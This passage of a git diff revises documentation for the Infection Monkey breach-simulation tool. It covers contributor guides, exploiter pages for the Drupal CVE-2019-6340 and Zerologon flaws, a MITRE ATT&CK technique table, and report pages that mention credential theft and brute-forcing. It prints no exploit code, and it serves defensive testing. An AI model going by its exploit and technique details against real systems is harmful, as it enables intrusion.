@@ -43,7 +43,7 @@ If your PBA consists only of simple shell commands, you can reuse the generic PB Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_new_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well. -### Island side +### From the Monkey Island Side #### Configuration @@ -67,10 +67,10 @@ You'll need to add your PBA to the `config_schema.py` file, under `post_breach_a }, ``` -Now you can choose your PBA when configuring the Monkey on the Monkey island: +Now you can choose your PBA when configuring the Infection Monkey on the Monkey island: ![PBA in configuration](https://i.imgur.com/9PrcWr0.png) #### Telemetry processing -If you wish to process your Post Breach action telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS` which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can look at the `process_communicate_as_new_user_telemetry` method as an example. +If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_new_user_telemetry` method as an example. diff --git a/docs/content/development/adding-system-info-collectors.md b/docs/content/development/adding-system-info-collectors.md index c9916e34b..5a7aadd94 100644 --- a/docs/content/development/adding-system-info-collectors.md +++ b/docs/content/development/adding-system-info-collectors.md @@ -6,21 +6,21 @@ tags: ["contribute"] weight: 80 --- -## What's this? +## What does this guide cover? -This guide will show you how to create a new _System Info Collector_ for the Infection Monkey. _System Info Collectors_ are modules which each Monkey runs, that collect specific information and sends it back to the Island as part of the System Info Telemetry. +This guide will show you how to create a new _System Info Collector_ for the Infection Monkey. System Info Collectors are modules that each of the Infection Monkey agents runs that collect specific information and send it back to the Monkey Island as part of the System Info Telemetry. -### Do I need a new System Info Controller? +### Do I need a new System Info Collector? -If all you want is to execute a shell command, then there's no need to add a new collector - just configure the required commands in the Monkey Island configuration in the PBA section! Also, if there is a relevant collector and you only need to add more information to it, expand the existing one. Otherwise, you must add a new Collector. +If all you want to do is execute a shell command, then there's no need to add a new System Info Collector - just configure the required commands in the Monkey Island's post-breach action (PBA) section! Also, if there is a relevant System Info Collector and you only need to add more information to it, simply expand the existing one. Otherwise, you must add a new System Info Collector. -## How to add a new System Info Collector +## How to add a new System Info Collector -### Monkey side +### From the Monkey Island Side #### Framework -1. Create your new collector in the following directory: `monkey/infection_monkey/system_info/collectors` by first creating a new file with the name of your collector. +1. Create your new System Info Collector in the following directory: `monkey/infection_monkey/system_info/collectors` by first creating a new file with the name of your System Info Collector. 2. In that file, create a class that inherits from the `SystemInfoCollector` class: ```py @@ -29,7 +29,7 @@ from infection_monkey.system_info.system_info_collector import SystemInfoCollect class MyNewCollector(SystemInfoCollector): ``` -3. Set the Collector name in the constructor, like so: +3. Set the System Info Collector name in the constructor, like so: ```py class MyNewCollector(SystemInfoCollector): @@ -39,15 +39,15 @@ class MyNewCollector(SystemInfoCollector): #### Implementation -Override the `collect` method with your own implementation. See the `EnvironmentCollector.py` Collector for reference. You can log during collection as well. +Override the `collect` method with your own implementation. See the `EnvironmentCollector.py` System Info Collector for reference. You can log during collection as well. -### Island side +### From the Monkey Island Side -#### Island Configuration +#### Configuration ##### Definitions -You'll need to add your Collector to the `monkey_island/cc/services/config_schema.py` file, under `definitions/system_info_collectors_classes/anyOf`, like so: +You'll need to add your Sytem Info Collector to the `monkey_island/cc/services/config_schema.py` file, under `definitions/system_info_collectors_classes/anyOf`, like so: ```json "system_info_collectors_classes": { @@ -76,7 +76,7 @@ You'll need to add your Collector to the `monkey_island/cc/services/config_schem ##### properties -Also, you can add the Collector to be used by default by adding it to the `default` key under `properties/monkey/system_info/system_info_collectors_classes`: +Also, you can add the System Info Collector to be used by default by adding it to the `default` key under `properties/monkey/system_info/system_info_collectors_classes`: ```json "system_info_collectors_classes": { @@ -96,6 +96,6 @@ Also, you can add the Collector to be used by default by adding it to the `defau #### Telemetry processing -1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the collector's result. See `processing/system_info_collectors/environment.py` for example. +1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the System Info Collector's result. See `processing/system_info_collectors/environment.py` for example. 2. Add that function to `SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS` under `monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py`. diff --git a/docs/content/development/contribute-documentation.md b/docs/content/development/contribute-documentation.md index 5d6913edb..ce4dbef4b 100644 --- a/docs/content/development/contribute-documentation.md +++ b/docs/content/development/contribute-documentation.md @@ -6,11 +6,11 @@ weight: 1 tags: ["contribute"] --- -The `/docs` folder contains the Monkey Documentation site. +The `/docs` folder contains the Infection Monkey Documentation site. The site is based on [Hugo](https://gohugo.io/) and the [learn](https://themes.gohugo.io/theme/hugo-theme-learn/en) theme. -- [Directory Structure](#directory-structure) +- [Directory structure](#directory-structure) - [content](#content) - [static](#static) - [config](#config) @@ -30,35 +30,35 @@ The site is based on [Hugo](https://gohugo.io/) and the [learn](https://themes.g - [`failed to extract shortcode: template for shortcode "children" not found` or theme doesn't seem right?](#failed-to-extract-shortcode-template-for-shortcode-children-not-found-or-theme-doesnt-seem-right) - [CSS is missing](#css-is-missing) -## Directory Structure +## Directory structure By order of importance: -### content +### Content -The most important directory is `/content`: This is the directory which contains the content files. [Read this to understand how pages are organized in that folder](https://themes.gohugo.io//theme/hugo-theme-learn/en/cont/pages/). +The most important directory is `/content`. This is the directory which contains the content files. [Read this to understand how pages are organized in that folder](https://themes.gohugo.io//theme/hugo-theme-learn/en/cont/pages/). -### static +### Static -In this directory you should place images, `css` files, `js` files, and other static content the site should serve. To access that static content in a page, use something similar to this: +In this directory you should place images, `css` files, `js` files and other static content the site should serve. To access that static content in a page, use something similar to this: ```markdown ![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID") ``` -### config +### Config -This folder controls a lot of parameters regarding the site generation. +This folder controls many of the parameters regarding the site generation. -### themes +### Themes -This is the theme we're using. It's a submodule (so to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If we want to make changes to the theme itself or pull updates from the upstream you'll do it here. +This is the theme we're using. It's a submodule (to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If you want to make changes to the theme itself, or pull updates from the upstream, you'll do it here. -### layouts and archtypes +### Layouts and archtypes -This directory includes custom [HTML partials](https://gohugo.io/templates/partials/), custom [shortcodes](https://gohugo.io/content-management/shortcodes/), and content templates. Best to not mess with the existing stuff here too much, but rather add new things. +This directory includes custom [HTML partials](https://gohugo.io/templates/partials/), custom [shortcodes](https://gohugo.io/content-management/shortcodes/) and content templates. It's best not to mess with the existing stuff here too much, but rather add new things. -### public and resources +### Public and resources These are the build output of `hugo` and should never be `commit`-ed to git. @@ -66,13 +66,13 @@ These are the build output of `hugo` and should never be `commit`-ed to git. ### Requirements -You have to [install `hugo`](https://gohugo.io/getting-started/installing/), a text editor that's good for markdown (`vscode` and `vim` are good options), and `git`. +You'll have to [install `hugo`](https://gohugo.io/getting-started/installing/), a text editor that's good for markdown (`vscode` and `vim` are good options) and `git`. ### Adding and editing content #### Add a new page -Run `hugo new folder/page.md`. Optionally add `--kind chapter` if this is a new chapter page. For example, `hugo new usage/getting-started.md` created the Getting Started page. +Run `hugo new folder/page.md`. Optionally add `--kind chapter` if creating a new chapter page. For example, `hugo new usage/getting-started.md` created the Getting Started page. #### Editing an existing page @@ -92,11 +92,11 @@ Run `hugo --environment staging` or `hugo --environment production`. This will c ##### `Error: Unable to locate config file or config directory. Perhaps you need to create a new site.` -What is your working directory? It should be `monkey/docs`. +Did you confirm your working directory? It should be `monkey/docs`. ##### `failed to extract shortcode: template for shortcode "children" not found` or theme doesn't seem right? -Have you ran `git submodule update`? +Have you run `git submodule update`? ##### CSS is missing diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index b2d0b7f1e..d558b11ce 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -8,17 +8,17 @@ tags: ["contribute"] ## Deployment scripts -To setup development environment using scripts look at the readme under [`/deployment_scripts`](https://github.com/guardicore/monkey/blob/develop/deployment_scripts). If you want to setup it manually or if run into some problems, read further below. +To set up a development environment using scripts, look at the readme under [`/deployment_scripts`](https://github.com/guardicore/monkey/blob/develop/deployment_scripts). If you want to set it up manually or run into problems, keep reading. ## Agent -The Agent, (what we refer as the Monkey), is a single Python project under the [`infection_monkey`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey) folder. Built for Python 3.7, you can get it up and running by setting up a [virtual environment](https://docs.python-guide.org/dev/virtualenvs/) and inside it installing the requirements listed under [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/requirements.txt). +The agent (which we sometimes refer to as the Infection Monkey) is a single Python project under the [`infection_monkey`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey) folder. The Infection Monkey agent was built for Python 3.7. You can get it up and running by setting up a [virtual environment](https://docs.python-guide.org/dev/virtualenvs/) and installing the requirements listed in the [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/requirements.txt) inside it. -In order to compile the Monkey for distribution by the Monkey Island, you need to run the instructions listed in [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment. +In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment. -This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools + 32/64-bit Python versions. +This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions. -## Monkey Island +## The Monkey Island The Monkey Island is a Python backend React frontend project. Similar to the agent, the backend's requirements are listed in the matching [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/requirements.txt). diff --git a/docs/content/development/swimm.md b/docs/content/development/swimm.md new file mode 100644 index 000000000..9dd1be6c1 --- /dev/null +++ b/docs/content/development/swimm.md @@ -0,0 +1,29 @@ +--- +title: "Swimm tutorials" +date: 2020-09-02T22:14:58+03:00 +draft: false +weight: 3 +tags: ["contribute"] +--- + +The Infection Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Infection Monkey codebase and accelerate the ramp-up process. The tutorials include adding new configuration values, new system info collectors and more. + + ![swimm logo](https://swimm.io/img/squarelogo.png "swimm logo") + +# How to start learning + +First, [sign up for swimm's beta](https://swimm.io/sign-beta). `swimm` is free for open-source projects, but as they're still in beta you'll need to sign up in order to download it. + +After you've downloaded and installed `swimm`, open a shell in the Infeciton Monkey repo folder and run: + +```shell script +swimm start +``` + +A local web server with the currently available tutorials should show up, and will look something like this: + +![swimm server](https://i.imgur.com/NFBH4Vr.png "swimm server") + +Choose which playlist you'd like to learn, click on it and follow the instructions. + +🏊‍♀️🏊‍♂️ diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md new file mode 100644 index 000000000..df600b2cb --- /dev/null +++ b/docs/content/reference/exploiters/Drupal.md @@ -0,0 +1,35 @@ +--- +title: "Drupal" +date: 2020-09-01T08:42:46+03:00 +draft: false +tags: ["exploit", "linux", "windows"] +--- + +The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340) +on a vulnerable Drupal server. + +### Description + +Some field types do not properly sanitize data from non-form sources in certain versions +of Drupal server. + +This can lead to arbitrary PHP code execution in some cases. + + +### Affected Versions + +* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. + +One of the following conditions must hold: +* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH +or POST requests; OR +* The site has another web services module enabled, like JSON:API in +Drupal 8, or Services or RESTful Web Services in Drupal 7. + + +### Notes + +* The Infection Monkey exploiter implementation is based on an open-source +[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) +of the exploit by @leonjza. +* For the full attack to work, more than one vulnerable URL is required. \ No newline at end of file diff --git a/docs/content/reference/exploiters/Zerologon.md b/docs/content/reference/exploiters/Zerologon.md new file mode 100644 index 000000000..76a524c03 --- /dev/null +++ b/docs/content/reference/exploiters/Zerologon.md @@ -0,0 +1,74 @@ +--- +title: "Zerologon" +date: 2021-01-31T19:46:12+05:30 +draft: false +tags: ["exploit", "windows"] +--- + +The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472). + + +### Description + +An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). + +To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472). + +### A note on safety + +This exploiter is not safe for production or other sensitive environments. It +is, therefore, **not** enabled by default. + +During successful exploitation, the Zerologon exploiter: + +* will temporarily change the target domain controller's password. +* may break the target domain controller's communication with other systems in the network, affecting functionality. +* may change the administrator's password. +* will *attempt* to revert all changes. + +While the Zerologon exploiter is usually successful in reverting its changes +and restoring the original passwords, it sometimes fails. Restoring passwords +manually after the Zerologon exploiter has run is nontrivial. For information +on restoring the original passwords, see the section on manually restoring your +passwords. + +To minimize the risk posed by this exploiter, it is recommended that this +exploiter be run _only_ against VMs with a recent snapshot and _only_ in +testing or staging environments. + + +### Manually restoring your password + +This exploiter attempts to restore the original passwords after exploitation. +It is usually successful, but it sometimes fails. If this exploiter has changed +a password but was unable to restore the original, you can try the following +methods to restore the original password. + +#### Restore the VM from a recent snapshot + +If the affected system is a virtual machine, the simplest way to restore it to +a working state is to revert to a recent snapshot. + +#### Restore the administrator's password + +If you are unable to log in as the administrator, you can follow the +instructions +[here](https://www.top-password.com/knowledge/reset-windows-server-2019-password.html) +to regain access to the system. + +#### Use Reset-ComputerMachinePassword + +If you are able to login as the administrator, you can use the +[Reset-ComputerMachinePassword](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1) +powershell command to restore the domain controller's password. + + +#### Try a zerologon password restoration tool +If all other approaches fail, you can try the tools and steps found +[here](https://github.com/risksense/zerologon). + + + +### Notes + +* The Infection Monkey exploiter implementation is based on implementations by [@dirkjanm](https://github.com/dirkjanm/CVE-2020-1472/) and [@risksense](https://github.com/risksense/zerologon). diff --git a/docs/content/reference/mitre_techniques.md b/docs/content/reference/mitre_techniques.md new file mode 100644 index 000000000..9e528449e --- /dev/null +++ b/docs/content/reference/mitre_techniques.md @@ -0,0 +1,58 @@ +--- +title: "MITRE ATT&CK" +date: 2020-09-24T08:18:37+03:00 +draft: false +pre: ' & ' +weight: 10 +--- + +{{% notice info %}} +Check out [the documentation for the MITRE ATT&CK report as well](../../usage/reports/mitre). +{{% /notice %}} + +The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and based on this, + provides a report detailing the techniques it used and recommended mitigations. + The idea is to help you simulate an APT attack on your network and mitigate real attack paths intelligently. + + In the following table we provide the list of all the ATT&CK techniques the Monkey provides info about, + categorized by tactic. You can follow any of the links to learn more about a specific technique or tactic. + + +| TACTIC | TECHNIQUES | +|--- |--- | +| [Execution](https://attack.mitre.org/tactics/TA0002/) | [Command-line Interface](https://attack.mitre.org/techniques/T1059/) | +| | [Execution Through Module Load](https://attack.mitre.org/techniques/T1129/) | +| | [Execution Through API](https://attack.mitre.org/techniques/T1106/) | +| | [Powershell](https://attack.mitre.org/techniques/T1086/) | +| | [Scripting](https://attack.mitre.org/techniques/T1064/) | +| | [Service Execution](https://attack.mitre.org/techniques/T1035/) | +| | [Trap](https://attack.mitre.org/techniques/T1154/) | +| [Persistence](https://attack.mitre.org/tactics/TA0003/) | [.bash_profile & .bashrc](https://attack.mitre.org/techniques/T1156/) | +| | [Create Account](https://attack.mitre.org/techniques/T1136/) | +| | [Hidden Files & Directories](https://attack.mitre.org/techniques/T1158/) | +| | [Local Job Scheduling](https://attack.mitre.org/techniques/T1168/) | +| | [Powershell Profile](https://attack.mitre.org/techniques/T1504/) | +| | [Scheduled Task](https://attack.mitre.org/techniques/T1053/) | +| | [Setuid & Setgid](https://attack.mitre.org/techniques/T1166/) | +| [Defence Evasion](https://attack.mitre.org/tactics/TA0005/) | [BITS Job](https://attack.mitre.org/techniques/T1197/) | +| | [Clear Command History](https://attack.mitre.org/techniques/T1146/) | +| | [File Deletion](https://attack.mitre.org/techniques/T1107/) | +| | [File Permissions Modification](https://attack.mitre.org/techniques/T1222/) | +| | [Timestomping](https://attack.mitre.org/techniques/T1099/) | +| | [Signed Script Proxy Execution](https://attack.mitre.org/techniques/T1216/) | +| [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Brute Force](https://attack.mitre.org/techniques/T1110/) | +| | [Credential Dumping](https://attack.mitre.org/techniques/T1003/) | +| | [Private Keys](https://attack.mitre.org/techniques/T1145/) | +| [Discovery](https://attack.mitre.org/tactics/TA0007/) | [Account Discovery](https://attack.mitre.org/techniques/T1087/) | +| | [Remote System Discovery](https://attack.mitre.org/techniques/T1018/) | +| | [System Information Discovery](https://attack.mitre.org/techniques/T1082/) | +| | [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016/) | +| [Lateral Movement](https://attack.mitre.org/tactics/TA0008/) | [Exploitation Of Remote Services](https://attack.mitre.org/techniques/T1210/) | +| | [Pass The Hash](https://attack.mitre.org/techniques/T1075/) | +| | [Remote File Copy](https://attack.mitre.org/techniques/T1105/) | +| | [Remote Services](https://attack.mitre.org/techniques/T1021/) | +| [Collection](https://attack.mitre.org/tactics/TA0009/) | [Data From Local System](https://attack.mitre.org/techniques/T1005) | +| [Command And Control](https://attack.mitre.org/tactics/TA0011/) | [Connection Proxy](https://attack.mitre.org/techniques/T1090/) | +| | [Uncommonly Used Port](https://attack.mitre.org/techniques/T1065/) | +| | [Multi-hop Proxy](https://attack.mitre.org/techniques/T1188/) | +| [Exfiltration](https://attack.mitre.org/tactics/TA0010/) | [Exfiltration Over Command And Control Channel](https://attack.mitre.org/techniques/T1041/)| diff --git a/docs/content/usage/reports/_index.md b/docs/content/reports/_index.md similarity index 59% rename from docs/content/usage/reports/_index.md rename to docs/content/reports/_index.md index 8d1da79b9..50af928b9 100644 --- a/docs/content/usage/reports/_index.md +++ b/docs/content/reports/_index.md @@ -1,13 +1,13 @@ +++ title = "Reports" date = 2020-06-24T21:16:03+03:00 -weight = 5 +weight = 40 chapter = true pre = " " +++ # Infection Monkey's Reports -The Monkey offers three reports: +The Infection Monkey offers three reports: -{{% children %}} +{{% children description=true style="p"%}} diff --git a/docs/content/reports/mitre.md b/docs/content/reports/mitre.md new file mode 100644 index 000000000..d1ab3f20c --- /dev/null +++ b/docs/content/reports/mitre.md @@ -0,0 +1,37 @@ +--- +title: "MITRE ATT&CK report" +description: "Maps the Monkey's actions to the MITRE ATT&CK knowledge base" +date: 2020-06-24T21:17:18+03:00 +draft: false +--- + +{{% notice info %}} +Check out [the documentation for other reports available in the Infection Monkey](../) and [the documentation for supported ATT&CK techniques](../../../reference/mitre_techniques). +{{% /notice %}} + +The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base. After simulating an advanced persistent threat (APT) attack, it generates a report summarizing the success of the techniques utilized along with recommended mitigation steps, helping you identify and mitigate attack paths in your environment. + +Watch the overview video: + +{{% youtube 3tNrlutqazQ %}} + +## How to use the report + +The MITRE ATT&CK report is centred around the ATT&CK matrix: + +![MITRE Report](/images/usage/reports/mitre-report-0.png "MITRE Report") + +The Infection Monkey rates your network on the attack techniques it attempted, assigning one of the corresponding labels to each: + +- {{< label danger Red >}}: The Infection Monkey **successfully used** this technique in the simulation. This means your network is vulnerable to the technique. +- {{< label warning Yellow >}}: The Infection Monkey **tried to use** the technique, but wasn’t successful. This means your network isn't vulnerable to the way Infection Monkey employed this technique. +- {{< label unused "Dark Gray" >}}: The Monkey **didn't try** the technique. Perhaps it wasn't relevant to this network. +- {{< label disabled "Light Gray" >}}: The Monkey **didn't try** the technique since it wasn't configured. + +By clicking on each of the listed techniques, you can see exactly how the Infection Monkey used it and any recommended mitigation steps. For example, let's look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that's a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic: + +![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access.png "MITRE Report Credentials Access technique") + +In this example, you can see how the Infection Monkey was able to use an old `root` password to access all machines in the network. When scrolling to the bottom of this list, you can also see the mitigation steps recommended, including reconfiguring your **Account Use Policies** and implementing **Multi-factor Authentication**. + +![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access-mitigations.png "MITRE Report Credentials Access technique") diff --git a/docs/content/usage/reports/security.files/infection_monkey_security_report_example.pdf b/docs/content/reports/security.files/infection_monkey_security_report_example.pdf similarity index 100% rename from docs/content/usage/reports/security.files/infection_monkey_security_report_example.pdf rename to docs/content/reports/security.files/infection_monkey_security_report_example.pdf diff --git a/docs/content/reports/security.md b/docs/content/reports/security.md new file mode 100644 index 000000000..e70f8539c --- /dev/null +++ b/docs/content/reports/security.md @@ -0,0 +1,98 @@ +--- +title: "Security report" +date: 2020-06-24T21:16:10+03:00 +draft: false +description: "Provides actionable recommendations and insight into an attacker's view of your network" +--- + +{{% notice info %}} +Check out [the documentation for other reports available in the Infection Monkey](../). +{{% /notice %}} + +The Infection Monkey's **Security Report** provides you with actionable recommendations and insight into an attacker's view of your network. You can download a PDF of an example report here: + +{{%attachments title="Download the PDF" pattern=".*(pdf)"/%}} + +The report is split into three main categories: + +- [Overview](#overview) + - [High-level information](#high-level-information) + - [Used credentials](#used-credentials) + - [Exploits and targets](#exploits-and-targets) + - [Security findings](#security-findings) +- [Recommendations](#recommendations) + - [Machine-related recommendations relating to specific CVEs](#machine-related-recommendations-relating-to-specific-cves) + - [Machine-related recommendations relating to network security and segmentation](#machine-related-recommendations-relating-to-network-security-and-segmentation) +- [The network from the Monkey's eyes](#the-network-from-the-monkeys-eyes) + - [Network infection map](#network-infection-map) + - [Scanned servers](#scanned-servers) + - [Exploits and post-breach actions](#exploits-and-post-breach-actions) + - [Stolen credentials](#stolen-credentials) + +## Overview + +The overview section of the report provides high-level information about the Infection Monkey's execution and main security findings. + +### High-level information + +This section shows general information about the Infection Monkey's execution, including which machine the infection originated from and how long the breach simulation took. + +![Overview](/images/usage/reports/sec_report_1_overview.png "Overview") + +### Used credentials + +This section shows which credentials were used for brute-forcing. + +![Used Credentials](/images/usage/reports/sec_report_2_users_passwords.png "Used Credentials") + +### Exploits and targets + +This section shows which exploits were attempted in this simulation and which targets the Infection Monkey scanned and tried to exploit. + +![Exploits and Targets](/images/usage/reports/sec_report_3_exploits_ips.png "Exploits and Targets") + +### Security findings + +This section highlights the most important security threats and issues discovered during the attack. + +![Threats and issues](/images/usage/reports/sec_report_4_threats_and_issues.png "Threats and issues") + +## Recommendations + +This section contains recommendations for improving your security, including actionable mitigation steps. + +### Machine-related recommendations relating to specific CVEs + +![Machine-related recommendations](/images/usage/reports/sec_report_5_machine_related.png "Machine related recommendations") + +### Machine-related recommendations relating to network security and segmentation + +![Machine-related recommendations](/images/usage/reports/sec_report_6_machine_related_network.png "Machine related recommendations") + +## The network from the Monkey's eyes + +This section contains the infection map and summary tables on servers the Infection Monkey found. + +### Network infection map + +This section shows the network map and a breakdown of how many machines the Infection Monkey breached. + +![Network map](/images/usage/reports/sec_report_7_network_map.png "Network map") + +### Scanned servers + +This section shows the attack surface the Infection Monkey discovered. + +![Scanned servers](/images/usage/reports/sec_report_8_network_services.png "Scanned servers") + +### Exploits and post-breach actions + +This section shows which exploits and post-beach actions the Infection Monkey performed during the simulation. + +![Exploits and PBAs](/images/usage/reports/sec_report_9_exploits_pbas.png "Exploits and PBAs") + +### Stolen credentials + +This section shows which credentials the Infection Monkey was able to steal from breached machines during this simulation. + +![Stolen creds](/images/usage/reports/sec_report_10_stolen_credentials.png "Stolen creds") diff --git a/docs/content/reports/zero-trust.md b/docs/content/reports/zero-trust.md new file mode 100644 index 000000000..0e41d8ff7 --- /dev/null +++ b/docs/content/reports/zero-trust.md @@ -0,0 +1,45 @@ +--- +title: "Zero Trust report" +date: 2020-06-24T21:16:18+03:00 +draft: false +description: "Generates a status report with detailed explanations of Zero Trust security gaps and prescriptive instructions on how to rectify them" +--- + +{{% notice info %}} +Check out [the documentation for other reports available in the Infection Monkey](../). +{{% /notice %}} + +The Guardicore Infection Monkey runs different tests to evaluate your network's adherence to the Zero Trust framework's key components established by Forrester, such as whether you have applied segmentation, verified user identities, enabled encryption and more. Then, the Infection Monkey generates a status report with detailed explanations of security gaps and prescriptive instructions for rectifying them. + +Watch the overview video here: + +{{% youtube z4FNu3WCd9o %}} + +## Summary + +This diagram provides you with a quick glance at how your organization scores on each pillar of the Forrester Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts. + +- {{< label danger Failed >}} At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement. +- {{< label warning Verify >}} At least one of the tests' results related to this component requires further manual verification. +- {{< label success Passed >}} All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected. +- {{< label unused Unexecuted >}} This status means no tests were executed for this pillar. + +![Zero Trust Report summary](/images/usage/reports/ztreport1.png "Zero Trust Report summary") + +## Test Results + +This section shows how your network fared against each of the tests the Infection Monkey ran. The tests are ordered by Zero Trust pillar, so you can quickly navigate to the category you want to prioritize. + +![Zero Trust Report test results](/images/usage/reports/ztreport2.png "Zero Trust Report test results") + +## Findings + +This section shows each test's details, including the explicit events and exact timestamps for the activities that took place in your network. This enables you to compare results with your SOC logs and alerts to gain more in-depth insights. + +![Zero Trust Report Findings](/images/usage/reports/ztreport3.png "Zero Trust Report Findings") + +## Events + +Your results are exportable. Click **Export** after clicking on **Events** to view them in a machine-readable format. + +![Zero Trust Report events](/images/usage/reports/ztreport4.png "Zero Trust Report events") diff --git a/docs/content/setup/_index.md b/docs/content/setup/_index.md index e6493bbac..0e5d38690 100644 --- a/docs/content/setup/_index.md +++ b/docs/content/setup/_index.md @@ -9,14 +9,18 @@ tags = ["setup"] # Setting up Infection Monkey -Setting up Infection Monkey is really easy! First, you need to {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}download the Infection Monkey from our site{{% /button %}}. +Setting up the Infection Monkey is easy! First, you need to {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}Download the Infection Monkey{{% /button %}}. -Once you've downloaded an installer, you can follow the relevant guide for your environment: +Once you've downloaded an installer, follow the relevant guide for your environment: {{% children %}} -Once you're done setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide! +After setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide! {{% notice tip %}} You can find information about [operating system compatibility and support here](../reference/operating_systems_support). {{% /notice %}} + +{{% notice tip %}} +You can find the binary checksums of our installers to verify their integrity [on this page](../usage/file-checksums). +{{% /notice %}} diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index 574b07c3c..da8dbbbb3 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -7,15 +7,17 @@ pre: " " tags: ["usage", "password"] --- -## Security in Infection Monkey +## Security in the Infection Monkey -The first time you launch Monkey Island (Infection Monkey CC server), you'll be prompted to create an account and secure your island. After your account is created, the server will only be accessible via the credentials you chose. +The first time you launch Monkey Island (the Infection Monkey C&C server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered. -If you want island to be accessible without credentials press *I want anyone to access the island*. Please note that this option is insecure: you should only pick this for use in development environments. +If you want an island to be accessible without credentials, press *I want anyone to access the island*. Please note that this option is insecure, and you should only use it in development environments. -## Resetting account credentials +## Resetting your account credentials -To reset credentials edit `monkey_island\cc\server_config.json` by deleting `user` and `password_hash` variables. Then restart the Monkey Island server and you should be prompted with registration form again. +To reset your credentials, edit `monkey_island\cc\server_config.json` by deleting the `user` and `password_hash` variables. + +When you restart the Monkey Island server, you will again be prompted with the registration form. Example `server_config.json` for account reset: diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index bcbfaeb75..916889ba6 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -4,36 +4,46 @@ date: 2020-05-26T20:57:36+03:00 draft: false pre: ' ' weight: 5 -tags: ["setup", "aws"] +tags: ["setup", "aws"] --- ## Deployment -On the [Infection Monkey’s AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**. +On the [Infection Monkey's AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**. 1. Choose the desired region. -1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the recommended. -1. Select the VPC and subnet you want the instance to be in. +1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the default recommendation. +1. Select the VPC and subnet you want to use for the new instance. 1. In the Security Group section, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic. -1. Choose an existing EC2 key pair for authenticating with your new instance. +1. Choose an existing EC2 key pair for authenticating with the new instance. 1. Click **Launch with 1-click.** -At this point, AWS will instance and deploy your new machine. +At this 